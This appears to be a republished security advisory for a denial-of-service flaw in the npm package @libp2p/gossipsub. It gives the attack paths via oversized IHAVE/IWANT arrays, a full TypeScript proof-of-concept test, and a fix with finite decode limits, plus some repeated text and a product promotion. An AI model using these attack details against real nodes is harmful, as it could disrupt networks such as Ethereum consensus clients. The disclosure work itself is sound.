heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth. Nodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected. ## Suggested fix Set finite defaults in `decodeRpc.ts`: ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: 128, maxMessages: 256, maxIhaveMessageIDs: 5_000, maxIwantMessageIDs: 5_000, maxIdontwantMessageIDs: 5_000, maxControlMessages: 128, maxPeerInfos: 16 } ``` Setting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @libp2p/gossipsubnpm | <16.0.0 | 16.0.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL GuardUpdate @libp2p/gossipsub to 16.0.0 if you use the affected versions. Test the change in a non-production environment first.
Local check
hol-guard supply-chain scanlibp2p: CPU DoS via oversized IHAVE and IWANT control message arrays affects @libp2p/gossipsub (npm). Severity is high. ### Summary gossipsub processes IHAVE and IWANT control messages by iterating every received message ID synchronously before doing anything with the results. There is no cap on how many IDs a single frame may contain. The default LP frame limit is 4MB, which fits roughly 180,000 message IDs. Iterating that many IDs blocks the Node.js event loop for around 200ms per call. The two variants have different severity. For IHAVE there is a per-peer per-heartbeat counter that limits each peer to one full iteration per heartbeat, so causing a total stall requires around 10 Sybil peers. For IWANT there is no equivalent counter at all, so a single peer continuously streaming 4MB frames can hold the event loop above 80% utilisation indefinitely. ### Details ### No decode-time cap on message ID count (`message/decodeRpc.ts:11-19`) ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: Infinity, maxMessages: Infinity, maxIhaveMessageIDs: Infinity, maxIwantMessageIDs: Infinity, maxIdontwantMessageIDs: Infinity, maxControlMessages: Infinity, maxPeerInfos: Infinity } ``` These are the defaults unless the operator explicitly overrides `opts.decodeRpcLimits`. A `TODO` at `gossipsub.ts:857` already notes the gap: `// TODO: Check max gossip message size, before decodeRpc()`. ### IHAVE iterates all IDs before truncating (`gossipsub.ts:1311-1327`) ```typescript messageIDs.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) if (!this.seenCache.has(msgIdStr)) { iwant.set(msgIdStr, msgId) } }) // truncation to GossipsubMaxIHaveLength (5000) only happens after the loop finishes ``` The per-peer flood counters (`iasked`, `peerhave`) do cap things eventually: each peer is limited to 10 IHAVE RPCs and 5000 IDs counted per heartbeat. After the first oversized IHAVE from a peer, subsequent ones are rejected cheaply. The problem is that the cap is per peer, so 10 Sybil peers each sending one 180K-ID IHAVE per heartbeat gives 10 x 150ms = 1500ms of synchronous work against a 1000ms heartbeat interval. ### IWANT has no rate limit at all (`gossipsub.ts:1377-1394`) ```typescript messageIDs?.forEach((msgId) => { const msgIdStr = this.msgIdToStrFn(msgId) const entry = this.mcache.getWithIWantCount(msgIdStr, id) // ... }) ``` Unlike IHAVE, `handleIWant` has no `peerhave` or `iasked` equivalent. A single peer can send IWANT RPCs continuously with no per-heartbeat limit. Sending IWANT for non-existent messages does not affect the attacker's score (`onIwantRcv` is metrics-only), so there is no automatic disconnect. At 1 Gbps a 4MB frame arrives every ~32ms and takes ~135ms to process, giving roughly 81% event-loop utilisation from a single connection. ### Attack Paths **IHAVE (requires ~10 Sybil peers)** The attacker connects 10 peers, each subscribing to a topic the victim is on. New peers start at score 0, which is above the default `gossipThreshold` of -10, so IHAVE processing is active immediately. Each peer sends one 4MB RPC per heartbeat containing a single `ControlIHave` entry with ~180,000 random message IDs. The victim processes all 180,000 IDs per peer before the counter kicks in for that peer. Total event-loop block: around 1500ms per 1000ms heartbeat. **IWANT (single peer, no Sybil)** The attacker connects once and streams 4MB IWANT RPCs continuously, each containing ~180,000 random message IDs that do not exist in the victim's cache. No rate limit applies. At datacenter bandwidth the event loop stays above 80% utilisation indefinitely. ### PoC Setup and execution of PoC ```bash git clone https://github.com/libp2p/js-libp2p.git cd js-libp2p npm install cd packages/gossipsub npx aegir build node --experimental-vm-modules ../../node_modules/.bin/mocha 'dist/test/poc.spec.js' --timeout 30000 ``` PoC Content: ```typescript import { stop } from '@libp2p/interface' import assert from 'node:assert' import { performance } from 'node:perf_hooks' import { encode as lpEncode } from 'it-length-prefixed' import { pEvent } from 'p-event' import { RPC } from '../src/message/rpc.js' import { GossipsubMaxIHaveMessages, GossipsubMaxIHaveLength, GossipsubHeartbeatInterval } from '../src/constants.js' import { createComponents, connectPubsubNodes } from './utils/create-pubsub.js' import type { GossipSubAndComponents } from './utils/create-pubsub.js' const TOPIC = 'poc-ihave-flood' const MSG_ID_BYTES = 20 // 4 MB LP limit / ~22 bytes per message ID (1-byte tag + 1-byte len + 20 bytes) const MSG_IDS_PER_IHAVE = 180_000 function randomMsgIds (count: number): Uint8Array[] { return Array.from({ length: count }, () => { const id = new Uint8Array(MSG_ID_BYTES) crypto.getRandomValues(id) return id }) } describe('CPU DoS via oversized IHAVE and IWANT control message arrays', function () { this.timeout(30_000) let victim: GossipSubAndComponents let attacker: GossipSubAndComponents beforeEach(async () => { ;[victim, attacker] = await Promise.all([ createComponents({ init: { allowPublishToZeroTopicPeers: true } }), createComponents({ init: { allowPublishToZeroTopicPeers: true } }) ]) // Both subscribe to the topic so the victim builds a mesh entry victim.pubsub.subscribe(TOPIC) attacker.pubsub.subscribe(TOPIC) await connectPubsubNodes(victim, attacker) // Wait for one heartbeat so the victim's mesh includes the attacker await pEvent(victim.pubsub, 'gossipsub:heartbeat') }) afterEach(async () => { await stop( victim.pubsub, attacker.pubsub, ...Object.values(victim.components), ...Object.values(attacker.components) ) }) it('BYPASS: single IHAVE with 180K message IDs blocks event loop for ~135ms', async () => { const attackerIdStr = attacker.components.peerId.toString() // Verify attacker is in victim's mesh (required for handleIHave to iterate IDs) const meshPeers = (victim.pubsub as any).mesh.get(TOPIC) as Set<string> | undefined if (meshPeers == null || !meshPeers.has(attackerIdStr)) { // Force mesh membership for the PoC if heartbeat hasn't built it yet if (meshPeers == null) { (victim.pubsub as any).mesh.set(TOPIC, new Set([attackerIdStr])) } else { meshPeers.add(attackerIdStr) } } const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) // Invoke handleIHave directly const t0 = performance.now() const iwant = (victim.pubsub as any).handleIHave( attackerIdStr, [{ topicID: TOPIC, messageIDs }] ) as Array<{ messageIDs: Uint8Array[] }> const elapsed = performance.now() - t0 console.log(`\n[PoC] 1 IHAVE × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${elapsed.toFixed(0)} ms event-loop block`) console.log(`[PoC] Response capped at: ${iwant[0]?.messageIDs?.length ?? 0} IWANTs (limit: ${GossipsubMaxIHaveLength})`) console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`) // The blocking time should be significant (>>10ms) for a meaningful DoS assert.ok(elapsed > 50, `expected >50ms event-loop block for ${MSG_IDS_PER_IHAVE} IDs, got ${elapsed.toFixed(0)}ms`) // Victim caps the response regardless of how many IDs were iterated assert.ok( iwant[0]?.messageIDs?.length <= GossipsubMaxIHaveLength, `response should be capped at ${GossipsubMaxIHaveLength}` ) }) it('MULTI-PEER: N peers × 1 IHAVE each, iasked resets per peer, total block scales linearly', async () => { const N_PEERS = 10 const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) // Ensure mesh includes a placeholder topic so !this.mesh.has(topicID) passes const fakeMeshPeers: Set<string> = new Set() ;(victim.pubsub as any).mesh.set(TOPIC, fakeMeshPeers) let totalElapsed = 0 for (let i = 0; i < N_PEERS; i++) { // Each "Sybil" peer uses a unique peer ID string const fakePeerId = `12D3KooW${i.toString().padStart(36, '0')}` fakeMeshPeers.add(fakePeerId) // Fresh counters: simulates a peer the victim hasn't seen this heartbeat ;(victim.pubsub as any).peerhave.delete(fakePeerId) ;(victim.pubsub as any).iasked.delete(fakePeerId) // Score defaults to 0 (> gossipThreshold of -10): no score entry needed const t0 = performance.now() ;(victim.pubsub as any).handleIHave(fakePeerId, [{ topicID: TOPIC, messageIDs }]) const elapsed = performance.now() - t0 totalElapsed += elapsed process.stdout.write(` peer ${i + 1}/${N_PEERS}: ${elapsed.toFixed(0)} ms\n`) } const ratio = totalElapsed / GossipsubHeartbeatInterval console.log(`\n[PoC] ${N_PEERS} peers × ${MSG_IDS_PER_IHAVE.toLocaleString()} IDs: ${totalElapsed.toFixed(0)} ms total`) console.log(`[PoC] Heartbeat interval: ${GossipsubHeartbeatInterval} ms`) console.log(`[PoC] Ratio (block / heartbeat): ${ratio.toFixed(2)}x`) console.log(`[PoC] Attacker cost: ${N_PEERS} × 4 MB = ${N_PEERS * 4} MB/s outbound`) console.log(`[PoC] Each peer's iasked resets at heartbeat — sustainable indefinitely`) // 10 peers should easily exceed the 1s heartbeat interval assert.ok( totalElapsed > GossipsubHeartbeatInterval * 0.9, `expected ${N_PEERS} peers to block ≥ ${GossipsubHeartbeatInterval * 0.9} ms, got ${totalElapsed.toFixed(0)} ms` ) }) it('ENCODE: crafted 180K-ID IHAVE RPC fits within 4 MB LP frame limit', () => { const messageIDs = randomMsgIds(MSG_IDS_PER_IHAVE) const rpc = RPC.encode({ subscriptions: [], messages: [], control: { ihave: [{ topicID: TOPIC, messageIDs }], iwant: [], graft: [], prune: [], idontwant: [] } }) const MAX_LP_BYTES = 4 * 1024 * 1024 // DEFAULT_MAX_DATA_LENGTH from it-length-prefixed console.log(`\n[PoC] Serialised RPC size: ${(rpc.byteLength / (1024 * 1024)).toFixed(2)} MB`) console.log(`[PoC] LP frame limit: ${MAX_LP_BYTES / (1024 * 1024)} MB`) console.log(`[PoC] Fits in one frame: ${rpc.byteLength <= MAX_LP_BYTES ? 'YES ✓' : 'NO ✗'}`) console.log(`[PoC] defaultDecodeRpcLimits.maxIhaveMessageIDs = Infinity (no decode-level cap)`) assert.ok(rpc.byteLength <= MAX_LP_BYTES, `crafted RPC (${rpc.byteLength} bytes) must fit in the 4 MB LP default — confirms no LP-level protection`) }) }) ``` The IWANT variant has the same per-frame timing but does not need Sybil peers. A separate IWANT PoC can be provided on request. ### Impact Any node running `@libp2p/gossipsub` with default options that accepts inbound connections is affected. This includes Ethereum consensus clients using js-libp2p (Lodestar), IPFS nodes with pubsub enabled, and anything calling `createLibp2p({ services: { pubsub: gossipsub() } })`. With 10 Sybil peers the IHAVE variant blocks the event loop for 1.5x the heartbeat interval continuously. The node cannot forward messages, run its heartbeat, or respond to legitimate peers. The IWANT variant achieves the same result from a single connection at datacenter bandwidth. Nodes that explicitly configure `opts.decodeRpcLimits` with finite values are not affected. ## Suggested fix Set finite defaults in `decodeRpc.ts`: ```typescript export const defaultDecodeRpcLimits: DecodeRPCLimits = { maxSubscriptions: 128, maxMessages: 256, maxIhaveMessageIDs: 5_000, maxIwantMessageIDs: 5_000, maxIdontwantMessageIDs: 5_000, maxControlMessages: 128, maxPeerInfos: 16 } ``` Setting `maxIhaveMessageIDs` and `maxIwantMessageIDs` to 5000 (matching `GossipsubMaxIHaveLength`) bounds the iteration cost to the response limit rather than attacker input.
AI coding agents often install or upgrade packages automatically in npm. A high vulnerability in a dependency can be pulled into a project through a normal install or update without a human reviewing the change, expanding the blast radius from a single package to every agent workspace that depends on it.
| Package | Affected range | Fixed version |
|---|---|---|
| @libp2p/gossipsubnpm | <16.0.0 | 16.0.0 |
Fixed versions are reported by the source feed; confirm compatibility before updating.
Reported by GitHub Security Advisories (ghsa).
HOL Guard can help your team review package activity against supported protection paths.
Explore HOL Guard